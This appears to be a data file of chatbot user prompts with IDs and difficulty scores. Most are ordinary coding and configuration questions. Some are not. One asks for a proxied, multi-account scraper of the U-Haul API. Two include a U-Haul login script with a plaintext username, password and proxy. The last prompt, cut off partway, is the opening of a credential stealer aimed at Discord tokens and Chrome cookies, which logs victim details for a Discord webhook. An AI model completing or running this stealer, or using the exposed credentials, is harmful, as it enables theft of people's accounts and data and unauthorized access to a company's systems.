20,975 | 写出下列程序完成的功能。(1分)
public class CountTest
{ public static void main( String args[ ])
{ int p = 1 ;
for ( int i = 1 ; i <= 100 ; i + + )
p *= i ;
System.out.println( "p="+p );
}
} | 92598c0e87ca3bfa113c206001bee765 | {
"intermediate": 0.2836819887161255,
"beginner": 0.5577454566955566,
"expert": 0.1585725098848343
} |
20,976 | Is it possible to do this in the code below.
If the StartTime or EndTime numeric hour and minute values are seprated by a syntax other than '.',
Then MsgBox "Hour and minute can only be seperated by '.'", vbExclamation, "Validation Error"
Exit Sub
Private Sub StartEndButton1_Click()
If StartTime.Value = "" And EndTime.Value = "" And AorH.Value = "" Then
MsgBox "Please fill in either Start Time and End Time or AorH", vbExclamation, "Validation Error"
Exit Sub
End If
If StartTime.Value <> "" And EndTime.Value <> "" Then
If StartTime.Value >= EndTime.Value Then
MsgBox "Start Time must be less than End Time", vbExclamation, "Validation Error"
Exit Sub
End If
End If
If (StartTime.Value <> "" And EndTime.Value = "") Or (StartTime.Value = "" And EndTime.Value <> "") Then
MsgBox "Both Start Time and End Time must be filled", vbExclamation, "Validation Error"
Exit Sub
End If
If (StartTime.Value <> "" Or EndTime.Value <> "") And AorH.Value <> "" Then
MsgBox "If Start Time or End Time is filled, AorH must be blank", vbExclamation, "Validation Error"
Exit Sub
End If
If AorH.Value <> "" And AorH.Value <> "a" And AorH.Value <> "h" Then
MsgBox "AorH can only be 'a' or 'h'", vbExclamation, "Validation Error"
Exit Sub
End If
If FullName.Value = "" Then
MsgBox "Employee Full Name must be entered", vbExclamation, "Validation Error"
Exit Sub
End If
newActiveCellRange.Offset(0, 29).Value = StartTime.Value
newActiveCellRange.Offset(0, 30).Value = EndTime.Value
newActiveCellRange.Offset(0, 32).Value = AorH.Value
newActiveCellRange.Offset(0, 2).Value = FullName.Value
' NEW CODE ADDED
Dim wt As Worksheet
Dim rng As Range
Dim cell As Range
Set wt = ThisWorkbook.Worksheets("Overtime")
' Check cell values in AD3:AD2003
Set adrng = wt.Range("AD3:AD2003")
For Each cell In adrng
If Right(cell.Value, 3) = ".15" Then
cell.Value = Left(cell.Value, Len(cell.Value) - 3) & ".25"
ElseIf Right(cell.Value, 3) = ".30" Then
cell.Value = Left(cell.Value, Len(cell.Value) - 3) & ".50"
ElseIf Right(cell.Value, 3) = ".45" Then
cell.Value = Left(cell.Value, Len(cell.Value) - 3) & ".75"
End If
Next cell
' Check cell values in AE3:AE2003
Set aerng = wt.Range("AE3:AE2003")
For Each cell In aerng
If Right(cell.Value, 3) = ".15" Then
cell.Value = Left(cell.Value, Len(cell.Value) - 3) & ".25"
ElseIf Right(cell.Value, 3) = ".30" Then
cell.Value = Left(cell.Value, Len(cell.Value) - 3) & ".50"
ElseIf Right(cell.Value, 3) = ".45" Then
cell.Value = Left(cell.Value, Len(cell.Value) - 3) & ".75"
End If
Next cell
' Calculate formulas
'wt.Range("AF3:AF2003").Calculate
'wt.Range("AH3:AH2003").Calculate
'wt.Range("B3:B2003").Calculate
newActiveCellRange.Offset(0, 31).Calculate
newActiveCellRange.Offset(0, 33).Calculate
newActiveCellRange.Offset(0, 1).Calculate
newActiveCellRange.Offset(0, 3).Select
Me.Hide
MsgBox "Details recorded, Enter Reason", vbInformation, "OVERTIME HOURS"
End Sub | 07f27ded6165affd0be8087fb6dded7d | {
"intermediate": 0.2726728618144989,
"beginner": 0.5638327598571777,
"expert": 0.16349442303180695
} |
20,977 | main.cpp:13:18: error: no match for ‘operator>>’ (operand types are ‘std::istream’ {aka ‘std::basic_istream’} and ‘std::vector’)
13 | std::cin >> a;
Сам код:
#include <iostream>
#include <vector>
int main()
{
int n;
std::vector <int> a;
std::vector <int> res(200000, 0);
std::cin >> n;
for (int i=0; i < n; i++)
{
std::cin >> a;
res[a] = i;
}
int mn = 1000000000, iMn = -1;
for(int i=0; i < res.size(); i++)
{
if (res[i] < mn)
{
mn = res[i];
iMn = i;
}
}
std::cout << iMn;
return 0;
} | 46c5bda9722412f0018e4f9e1f8f638d | {
"intermediate": 0.37395161390304565,
"beginner": 0.44666603207588196,
"expert": 0.17938232421875
} |
20,978 | assist me to write a pythone code, i need the code to help me invest in the egyptian stock. | cdfbd26f49d2920c253fb3defd5fed30 | {
"intermediate": 0.2515276372432709,
"beginner": 0.19837558269500732,
"expert": 0.5500967502593994
} |
20,979 | Make a script that can do the following:
(ALL REQUESTS WILL USE PROXIES):
accounts.json file which has all the accounts we will use
separate login function that is parallelized (multiprocess) which returns the session token or what ever in order to search
now for searching:
we will have 1 file with the data and we want each account to search parts of the data on uhaul api in chunks. if response 200 we store the raw data the apii returns in .json file - if any other error besides it not being existent we sleep 5-10 seconds and try again (max retires 3) | 66970fc24ef53800b363f651e6b58413 | {
"intermediate": 0.5615003108978271,
"beginner": 0.16713127493858337,
"expert": 0.2713683545589447
} |
20,980 | <NoticeSystem Enabled="1">
<PvPNotice Enable="1" R="255" G="105" B="180" />
<Tags>
<Tag Id="0" Text="" /> <!-- Normal item -->
<Tag Id="1" Text="卓越的 " />
<Tag Id="2" Text="套装的 " />
</Tags>
<Messages>
<Msg ID="0" Text=" [%s] 在 %s 拾取了 %s %s" RGB="255,255,5" /> <!-- 玩家名称, 地图名, 坐标, 物品名 -->
<Msg ID="1" Text=" %s 击杀了 %s 地点: %s 坐标(%d,%d)" RGB="255,255,255" /> <!-- 击杀者, 被杀者, 地图名, X, Y -->
<Msg ID="2" Text=" %s 出现在 %s (%d,%d)" RGB="255,255,5" /> <!-- 怪物名, 地图名, X, Y -->
</Messages>
<ItemGetNotice Enabled="1">
<Item Cat="12" Index="15" Level="0" IsExc="0" IsSet="0" /> <!-- 玛雅之石 -->
<Item Cat="14" Index="13" Level="0" IsExc="0" IsSet="0" /> <!-- 祝福宝石 -->
<Item Cat="14" Index="14" Level="0" IsExc="0" IsSet="0" /> <!-- 灵魂宝石 -->
<Item Cat="14" Index="16" Level="0" IsExc="0" IsSet="0" /> <!-- 生命宝石 -->
<Item Cat="14" Index="22" Level="0" IsExc="0" IsSet="0" /> <!-- 创造宝石 -->
<Item Cat="14" Index="31" Level="0" IsExc="0" IsSet="0" /> <!-- 守护宝石 -->
<Item Cat="14" Index="42" Level="0" IsExc="0" IsSet="0" /> <!-- 再生宝石 -->
<Item Cat="14" Index="345" Level="0" IsExc="0" IsSet="0" /> <!-- 神秘之石 -->
<Item Cat="14" Index="123" Level="0" IsExc="0" IsSet="0" /> <!-- 金箱子 -->
<Item Cat="14" Index="124" Level="0" IsExc="0" IsSet="0" /> <!-- 银箱子 -->
<Item Cat="14" Index="342" Level="0" IsExc="0" IsSet="0" /> <!-- 天界之钢 -->
<Item Cat="13" Index="510" Level="0" IsExc="0" IsSet="0" /> <!-- 时空石 -->
<Item Cat="12" Index="288" Level="0" IsExc="0" IsSet="0" /> <!-- 元素符文 -->
<Item Cat="12" Index="401" Level="0" IsExc="0" IsSet="0" /> <!-- 光之石强化符文 -->
<Item Cat="14" Index="196" Level="0" IsExc="0" IsSet="0" /> <!-- 光之石强化符文 -->
</ItemGetNotice>
<MonsterKillNotice Enabled="1">
<Monster ID="30" /> <!-- 寒冰巨龙 -->
<Monster ID="55" /> <!-- 骷髅王 -->
<Monster ID="32" /> <!-- 石巨人 -->
<Monster ID="18" /> <!-- 魔鬼戈登 -->
<Monster ID="25" /> <!-- 冰后 -->
<Monster ID="38" /> <!-- 魔王巴洛克 -->
<Monster ID="44" /> <!-- 火龙王 -->
<Monster ID="49" /> <!-- 海魔希特拉 -->
<Monster ID="50" /> <!-- 暗魂魔王 -->
<Monster ID="59" /> <!-- 魔王扎坎 -->
<Monster ID="63" /> <!-- 炽炎魔 -->
<Monster ID="77" /> <!-- 天魔菲尼斯 -->
<Monster ID="275" /> <!-- 魔王昆顿 -->
<Monster ID="295" /> <!-- 炼狱魔王 -->
<Monster ID="309" /> <!-- 丛林召唤者 -->
<Monster ID="418" /> <!-- 战神达里恩 -->
<Monster ID="425" /> <!-- 神殿法老王 -->
<Monster ID="27" /> <!-- 炽焰牛魔王 -->
<Monster ID="423" /> <!-- 图腾树人 -->
<Monster ID="424" /> <!-- 库贝拉魔王 -->
<Monster ID="443" /> <!-- 虫族女王 -->
<Monster ID="444" /> <!-- 炽焰鸳鸯龙 -->
<Monster ID="459" /> <!-- 冰霜巨蛛 -->
<Monster ID="569" /> <!-- 深渊海魔 -->
<Monster ID="561" /> <!-- 美杜莎 -->
<Monster ID="618" /> <!-- 岩浆魔王 -->
<Monster ID="673" /> <!-- 辛维斯特 -->
<Monster ID="716" /> <!-- 马格里姆 -->
<Monster ID="734" /> <!-- 菲利亚君主 -->
<Monster ID="746" /> <!-- 尼克斯 -->
<Monster ID="778" /> <!-- 深渊地牢之戈登 -->
<Monster ID="794" /> <!-- 黑暗之神 -->
<Monster ID="865" /> <!-- 红烟之天魔菲尼斯 -->
<Monster ID="419" /> <!-- 地下双刃王 -->
</MonsterKillNotice>
<MonsterSpawnNotice Enabled="1">
<Monster ID="30" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 寒冰巨龙 -->
<Monster ID="55" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 骷髅王 -->
<Monster ID="32" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 石巨人 -->
<Monster ID="18" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 魔鬼戈登 -->
<Monster ID="25" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 冰后 -->
<Monster ID="38" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 魔王巴洛克 -->
<Monster ID="44" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 火龙王 -->
<Monster ID="49" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 海魔希特拉 -->
<Monster ID="50" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 暗魂魔王 -->
<Monster ID="59" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 魔王扎坎 -->
<Monster ID="63" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 炽炎魔 -->
<Monster ID="77" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 天魔菲尼斯 -->
<Monster ID="275" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 魔王昆顿 -->
<Monster ID="295" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 炼狱魔王 -->
<Monster ID="309" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 丛林召唤者 -->
<Monster ID="418" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 战神达里恩 -->
<Monster ID="423" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 图腾树人 -->
<Monster ID="425" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 神殿法老王 -->
<Monster ID="27" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 炽焰牛魔王 -->
<Monster ID="424" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 库贝拉魔王 -->
<Monster ID="443" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 虫族女王 -->
<Monster ID="444" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 炽焰鸳鸯龙 -->
<Monster ID="459" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 冰霜巨蛛 -->
<Monster ID="569" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 深渊海魔 -->
<Monster ID="561" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 美杜莎 -->
<Monster ID="618" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 岩浆魔王 -->
<Monster ID="673" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 辛维斯特 -->
<Monster ID="716" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 马格里姆 -->
<Monster ID="734" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 菲利亚君主 -->
<Monster ID="746" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 尼克斯 -->
<Monster ID="778" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 深渊地牢之戈登 -->
<Monster ID="794" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 黑暗之神 -->
<Monster ID="865" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 红烟之天魔菲尼斯 -->
<Monster ID="419" MapNum="-1" InvincibleBuffDuration="1" /> <!-- 地下双刃王 -->
</MonsterSpawnNotice>
</NoticeSystem> | 4b7bbb65f9a435ec1dc7bb49a8ed5fe6 | {
"intermediate": 0.329773485660553,
"beginner": 0.3083271086215973,
"expert": 0.36189940571784973
} |
20,981 | <NoticeSystem Enabled=“1”>
<PvPNotice Enable=“1” R=“255” G=“105” B=“180” />
<Tags>
<Tag Id=“0” Text=“” /> <!-- Normal item -->
<Tag Id=“1” Text=“卓越的 " />
<Tag Id=“2” Text=“套装的 " />
</Tags>
<Messages>
<Msg ID=“0” Text=” [%s] 在 %s 拾取了 %s %s” RGB=“255,255,5” /> <!-- 玩家名称, 地图名, 坐标, 物品名 -->
<Msg ID=“1” Text=" %s 击杀了 %s 地点: %s 坐标(%d,%d)" RGB=“255,255,255” /> <!-- 击杀者, 被杀者, 地图名, X, Y -->
<Msg ID=“2” Text=" %s 出现在 %s (%d,%d)" RGB=“255,255,5” /> <!-- 怪物名, 地图名, X, Y -->
</Messages>
<ItemGetNotice Enabled=“1”>
<Item Cat=“12” Index=“15” Level=“0” IsExc=“0” IsSet=“0” /> <!-- 玛雅之石 -->
<Item Cat=“14” Index=“13” Level=“0” IsExc=“0” IsSet=“0” /> <!-- 祝福宝石 -->
<Item Cat=“14” Index=“14” Level=“0” IsExc=“0” IsSet=“0” /> <!-- 灵魂宝石 -->
<Item Cat=“14” Index=“16” Level=“0” IsExc=“0” IsSet=“0” /> <!-- 生命宝石 -->
<Item Cat=“14” Index=“22” Level=“0” IsExc=“0” IsSet=“0” /> <!-- 创造宝石 -->
<Item Cat=“14” Index=“31” Level=“0” IsExc=“0” IsSet=“0” /> <!-- 守护宝石 -->
<Item Cat=“14” Index=“42” Level=“0” IsExc=“0” IsSet=“0” /> <!-- 再生宝石 -->
<Item Cat=“14” Index=“345” Level=“0” IsExc=“0” IsSet=“0” /> <!-- 神秘之石 -->
<Item Cat=“14” Index=“123” Level=“0” IsExc=“0” IsSet=“0” /> <!-- 金箱子 -->
<Item Cat=“14” Index=“124” Level=“0” IsExc=“0” IsSet=“0” /> <!-- 银箱子 -->
<Item Cat=“14” Index=“342” Level=“0” IsExc=“0” IsSet=“0” /> <!-- 天界之钢 -->
<Item Cat=“13” Index=“510” Level=“0” IsExc=“0” IsSet=“0” /> <!-- 时空石 -->
<Item Cat=“12” Index=“288” Level=“0” IsExc=“0” IsSet=“0” /> <!-- 元素符文 -->
<Item Cat=“12” Index=“401” Level=“0” IsExc=“0” IsSet=“0” /> <!-- 光之石强化符文 -->
<Item Cat=“14” Index=“196” Level=“0” IsExc=“0” IsSet=“0” /> <!-- 光之石强化符文 -->
</ItemGetNotice>
<MonsterKillNotice Enabled=“1”>
<Monster ID=“30” /> <!-- 寒冰巨龙 -->
<Monster ID=“55” /> <!-- 骷髅王 -->
<Monster ID=“32” /> <!-- 石巨人 -->
<Monster ID=“18” /> <!-- 魔鬼戈登 -->
<Monster ID=“25” /> <!-- 冰后 -->
<Monster ID=“38” /> <!-- 魔王巴洛克 -->
<Monster ID=“44” /> <!-- 火龙王 -->
<Monster ID=“49” /> <!-- 海魔希特拉 -->
<Monster ID=“50” /> <!-- 暗魂魔王 -->
<Monster ID=“59” /> <!-- 魔王扎坎 -->
<Monster ID=“63” /> <!-- 炽炎魔 -->
<Monster ID=“77” /> <!-- 天魔菲尼斯 -->
<Monster ID=“275” /> <!-- 魔王昆顿 -->
<Monster ID=“295” /> <!-- 炼狱魔王 -->
<Monster ID=“309” /> <!-- 丛林召唤者 -->
<Monster ID=“418” /> <!-- 战神达里恩 -->
<Monster ID=“425” /> <!-- 神殿法老王 -->
<Monster ID=“27” /> <!-- 炽焰牛魔王 -->
<Monster ID=“423” /> <!-- 图腾树人 -->
<Monster ID=“424” /> <!-- 库贝拉魔王 -->
<Monster ID=“443” /> <!-- 虫族女王 -->
<Monster ID=“444” /> <!-- 炽焰鸳鸯龙 -->
<Monster ID=“459” /> <!-- 冰霜巨蛛 -->
<Monster ID=“569” /> <!-- 深渊海魔 -->
<Monster ID=“561” /> <!-- 美杜莎 -->
<Monster ID=“618” /> <!-- 岩浆魔王 -->
<Monster ID=“673” /> <!-- 辛维斯特 -->
<Monster ID=“716” /> <!-- 马格里姆 -->
<Monster ID=“734” /> <!-- 菲利亚君主 -->
<Monster ID=“746” /> <!-- 尼克斯 -->
<Monster ID=“778” /> <!-- 深渊地牢之戈登 -->
<Monster ID=“794” /> <!-- 黑暗之神 -->
<Monster ID=“865” /> <!-- 红烟之天魔菲尼斯 -->
<Monster ID=“419” /> <!-- 地下双刃王 -->
</MonsterKillNotice>
<MonsterSpawnNotice Enabled=“1”>
<Monster ID=“30” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 寒冰巨龙 -->
<Monster ID=“55” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 骷髅王 -->
<Monster ID=“32” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 石巨人 -->
<Monster ID=“18” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 魔鬼戈登 -->
<Monster ID=“25” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 冰后 -->
<Monster ID=“38” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 魔王巴洛克 -->
<Monster ID=“44” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 火龙王 -->
<Monster ID=“49” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 海魔希特拉 -->
<Monster ID=“50” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 暗魂魔王 -->
<Monster ID=“59” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 魔王扎坎 -->
<Monster ID=“63” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 炽炎魔 -->
<Monster ID=“77” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 天魔菲尼斯 -->
<Monster ID=“275” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 魔王昆顿 -->
<Monster ID=“295” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 炼狱魔王 -->
<Monster ID=“309” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 丛林召唤者 -->
<Monster ID=“418” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 战神达里恩 -->
<Monster ID=“423” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 图腾树人 -->
<Monster ID=“425” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 神殿法老王 -->
<Monster ID=“27” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 炽焰牛魔王 -->
<Monster ID=“424” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 库贝拉魔王 -->
<Monster ID=“443” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 虫族女王 -->
<Monster ID=“444” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 炽焰鸳鸯龙 -->
<Monster ID=“459” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 冰霜巨蛛 -->
<Monster ID=“569” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 深渊海魔 -->
<Monster ID=“561” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 美杜莎 -->
<Monster ID=“618” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 岩浆魔王 -->
<Monster ID=“673” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 辛维斯特 -->
<Monster ID=“716” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 马格里姆 -->
<Monster ID=“734” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 菲利亚君主 -->
<Monster ID=“746” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 尼克斯 -->
<Monster ID=“778” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 深渊地牢之戈登 -->
<Monster ID=“794” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 黑暗之神 -->
<Monster ID=“865” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 红烟之天魔菲尼斯 -->
<Monster ID=“419” MapNum=“-1” InvincibleBuffDuration=“1” /> <!-- 地下双刃王 -->
</MonsterSpawnNotice>
</NoticeSystem> | 427e8cda50cee8f0f61dcad0ec0058bf | {
"intermediate": 0.3235396444797516,
"beginner": 0.4258328676223755,
"expert": 0.25062745809555054
} |
20,982 | Hi I want to have a check box bar on right side of my sigma.js graph using css, could please give me a hand? | 3f7aae98d022177a7668a50abc84cb5c | {
"intermediate": 0.47089964151382446,
"beginner": 0.2329418808221817,
"expert": 0.2961585223674774
} |
20,983 | explain what this code does
import json
import requests
from bs4 import BeautifulSoup
import random
class uHaul:
def __init__(self, username, password, entity='', debugMode=False, proxy=""):
self.username = username
self.password = password
self.debugMode = debugMode
self.authenticated = False
self.proxies=dict(http=proxy,https=proxy)
self.entity = entity
self.sessionSecret = ''
self.session = self.createSession()
self.authenticate()
def dprint(self, msg):
if(self.debugMode):
print("[debug] ---> " + str(msg))
def createSession(self):
session = requests.Session()
self.dprint("Init requests session...")
session.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0'
})
session.proxies.update(self.proxies)
return session
def authenticate(self):
postData = {'Username':self.username,
'Password':self.password,
'Entity':self.entity
}
req = self.session.post("https://pos.uhaul.net/secure/CSFRewriteConsole2/Account/Login",data=postData)
## need to change success key
if ('<title>Reservation Details</title>' in req.text):
self.authenticated = True
self.sessionSecret = req.history[1].headers['Location'].split("/")[3]
# secret0 = req.history[0].url
self.dprint("Authenticated! ")
self.dprint("Sessuib secret = " + str(self.sessionSecret))
else:
self.dprint("Failed to authenticate")
def searchForCustomer(self,customer):
secretsessionid = self.sessionSecret
url = f"https://pos.uhaul.net/secure/CSFRewriteConsole2/{secretsessionid}/Customer/SearchForCustomer"
postData = {
'searchItem': customer
}
req = self.session.post(url,data=postData)
self.dprint(req.text)
result = json.loads(req.text)
self.dprint("[" + str(result['success']) + f"] ---- customer lookup status for [{customer}]")
uhaul_username = "kj046613"
uhaul_password = "Beltline@1221"
mainaccount = uHaul(uhaul_username, uhaul_password, debugMode=True, proxy="socks5://67.213.212.58:20010")
mainaccount.searchForCustomer("test@uhaul.com")
print(uHaul.get_proxy()) | d3d4a6ff895342fc36935317aa9e9611 | {
"intermediate": 0.3108223080635071,
"beginner": 0.5022509098052979,
"expert": 0.1869267076253891
} |
20,984 | explain what this script does:
import json
import requests
from bs4 import BeautifulSoup
import random
class uHaul:
def __init__(self, username, password, entity='', debugMode=False, proxy=""):
self.username = username
self.password = password
self.debugMode = debugMode
self.authenticated = False
self.proxies=dict(http=proxy,https=proxy)
self.entity = entity
self.sessionSecret = ''
self.session = self.createSession()
self.authenticate()
def dprint(self, msg):
if(self.debugMode):
print("[debug] ---> " + str(msg))
def createSession(self):
session = requests.Session()
self.dprint("Init requests session...")
session.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0'
})
session.proxies.update(self.proxies)
return session
def authenticate(self):
postData = {'Username':self.username,
'Password':self.password,
'Entity':self.entity
}
req = self.session.post("https://pos.uhaul.net/secure/CSFRewriteConsole2/Account/Login",data=postData)
## need to change success key
if ('<title>Reservation Details</title>' in req.text):
self.authenticated = True
self.sessionSecret = req.history[1].headers['Location'].split("/")[3]
# secret0 = req.history[0].url
self.dprint("Authenticated! ")
self.dprint("Sessuib secret = " + str(self.sessionSecret))
else:
self.dprint("Failed to authenticate")
def searchForCustomer(self,customer):
secretsessionid = self.sessionSecret
url = f"https://pos.uhaul.net/secure/CSFRewriteConsole2/{secretsessionid}/Customer/SearchForCustomer"
postData = {
'searchItem': customer
}
req = self.session.post(url,data=postData)
self.dprint(req.text)
result = json.loads(req.text)
self.dprint("[" + str(result['success']) + f"] ---- customer lookup status for [{customer}]")
uhaul_username = "kj046613"
uhaul_password = "Beltline@1221"
mainaccount = uHaul(uhaul_username, uhaul_password, debugMode=True, proxy="socks5://67.213.212.58:20010")
mainaccount.searchForCustomer("test@uhaul.com")
print(uHaul.get_proxy()) | bc510ff290dccd106858e67bb3056677 | {
"intermediate": 0.317548543214798,
"beginner": 0.4904683232307434,
"expert": 0.1919831484556198
} |
20,985 | What GNU/LINUX encrypted filesystem should I use in order to be able to my usb key on both my Linux PC and my Android phone ? | cb1c028dbfbebe7e6cb69c55f4751f15 | {
"intermediate": 0.39118650555610657,
"beginner": 0.3350210189819336,
"expert": 0.27379244565963745
} |
20,986 | html and css code for customer review , swipe for read the review | 64214fd9b7c23316c807f535e075ac77 | {
"intermediate": 0.31903770565986633,
"beginner": 0.3042140305042267,
"expert": 0.37674832344055176
} |
20,987 | I want to have a radio bar on the right side of my sigma.js graph screen using css | b4441e42e266667e4d30efdb7f7c091d | {
"intermediate": 0.3770969808101654,
"beginner": 0.3068567216396332,
"expert": 0.3160463571548462
} |
20,988 | can you make an animated sequence of images in ascii format, which if viewed in a certain way would look like a stickman walking | bb2ed03125a62e507734c8a8e0acca63 | {
"intermediate": 0.2826593220233917,
"beginner": 0.23204642534255981,
"expert": 0.48529428243637085
} |
20,989 | give me an instance of arc consistency-3 and analysis for me | 3478fa426e9492cc425a67b7bfad742f | {
"intermediate": 0.4245116412639618,
"beginner": 0.1835244745016098,
"expert": 0.3919638991355896
} |
20,990 | Based on this experiment:
Start of the experiment:
This practical, which will count towards your workshop assignments grade, will
showcase how you may collect and analyze pupillometric data to learn about working
memory.
The pupil responds to brightness: it constricts (i.e., becomes smaller) when light enters
the eye, whereas it dilates (i.e., becomes bigger) in darkness. Classically it has been
regarded as a low-level reflexive mechanism that doesn’t involve higher-order cognition.
In the past few decades, this view has changed. For example, researchers have recently
shown that this so-called pupillary light response does not only apply to the things at
which we look directly, but also to the things to which we attend covertly (i.e., without
looking) (e.g., Mathôt, van der Linden, Grainger, & Vitu, 2013). It has also been shown that
the pupil responds to the brightness of internal representations held in (working)
memory. This practical revolves around these phenomena.
We will build a pupillometric experiment in which participants have to memorize, in each
trial, the orientation of two gabor stimuli (Figure 1). The two stimuli are presented on
respectively a white and a black background. After a short duration, the participant sees
a third gabor stimulus, and the participant has to indicate whether this final stimulus
matches with one of the two stimuli seen earlier.
If the pupil indeed responds to the brightness of memorized objects, then we may
expect to find that the pupil’s size is influenced by whether the probed stimulus was
perceived on a white or black background.
End of the experiment.
And based on this answer: Our Dependent Variable (DV) is the pupil size of the participant. Our Fixed Effects are the orientation of the Gabor Stimuli that the participant should try to memorise as well as the background colour of the Gabor Stimuli that are showed at the beginning, this can be black or white. Our Random Effect is the Participant because each participant is a different and this contributes for the diversity of our data.
How should I modify this R code ?
library(lme4) # This is the package that we need for using LMMs
# First, specify the path to the datafile:
setwd('/Users/julianramondo/Desktop/Assignment 2')
data <- read.csv('data.txt')
# For the analysis of RTs, we want to exclude incorrectly answered trials:
data <- data[data$error == 0,]
# We are interested in the trials where the target was probed
data <- data[data$final_stimulus == "target",]
# And we want to remove outliers:
outlier1 <- mean(data$RT) + 2.5 * sd(data$RT)
outlier2 <- mean(data$RT) - 2.5 * sd(data$RT)
data <- data[data$RT > outlier2,]
data <- data[data$RT < outlier1,]
model1 <- lmer(
RT ~ distractor + (1|subject)+(1|item),
data=data, )
# To read out the results, request a summary of the model
summary(model1) | 4821330ad80cfcd09c6ecca1484a495a | {
"intermediate": 0.6170922517776489,
"beginner": 0.1831161379814148,
"expert": 0.19979161024093628
} |
20,991 | Write a java program to decrease the amount of taxes by 2% each month for 26 months | 5232d3c9506106058d5332d3776ec873 | {
"intermediate": 0.32204729318618774,
"beginner": 0.18171177804470062,
"expert": 0.49624091386795044
} |
20,992 | HOW TO MAKE SLOW VOLTAGE DROP ON DAC OUTPUT IN C LANGUAGE? | 9460eabf051b27a62409a015b1410ea3 | {
"intermediate": 0.1486510932445526,
"beginner": 0.13735033571720123,
"expert": 0.7139986157417297
} |
20,993 | import os
import json
import time
import base64
import shutil
import sqlite3
import requests
import win32crypt
from re import findall
from Crypto.Cipher import AES
from getmac import get_mac_address as getMacAddrr
#Guthmaer
allEnv={'appLocal':'LOCALAPPDATA',
'appRoaming':'APPDATA',
'pcName':'COMPUTERNAME',
'userPath':'HOMEPATH',
'username':'USERNAME'}
cookiePath={'Discord': os.getenv(key=allEnv.get('appRoaming')) + '\discord\Local Storage\leveldb',
'ChormeLocalState': os.path.join(os.getenv(key=allEnv.get('appLocal')), 'Google', 'Chrome', 'User Data', 'Default', 'Cookies'),
'ChormeLoginData': os.path.join(os.getenv(key=allEnv.get('appLocal')), 'Google', 'Chrome', 'User Data', 'Default', 'Cookies')}
#sharing information with discord webhooks
#webhook = Webhook.from_url("https://discord.com/api/webhooks/.........", adapter=RequestsWebhookAdapter())
webhookURL = "https://discord.com/api/webhooks/..............." #CHANGE ME
try:
def victimInfo():
global pcUser, pcName, pcMac, ipAddrr, writePath, writePathh
pcUser= os.getenv(key=allEnv.get('username'))
pcName= os.getenv(key=allEnv.get('pcName'))
pcMac= getMacAddrr()
ipAddrr= requests.get('https://api.ipify.org?format=json').json()['ip']
writePath= os.path.join(os.environ["USERPROFILE"], "Desktop")
writePath= writePath + '\writeVictimInfo.txt'
with open(writePath,'w+', encoding="utf-8") as infoWrite:
mem = infoWrite.read()
infoWrite.seek(0)
infoWrite.write(f'\npcUser: {pcUser} \npcName: {pcName} \npcMac: {pcMac} \nipAddrr: {ipAddrr}' + mem)
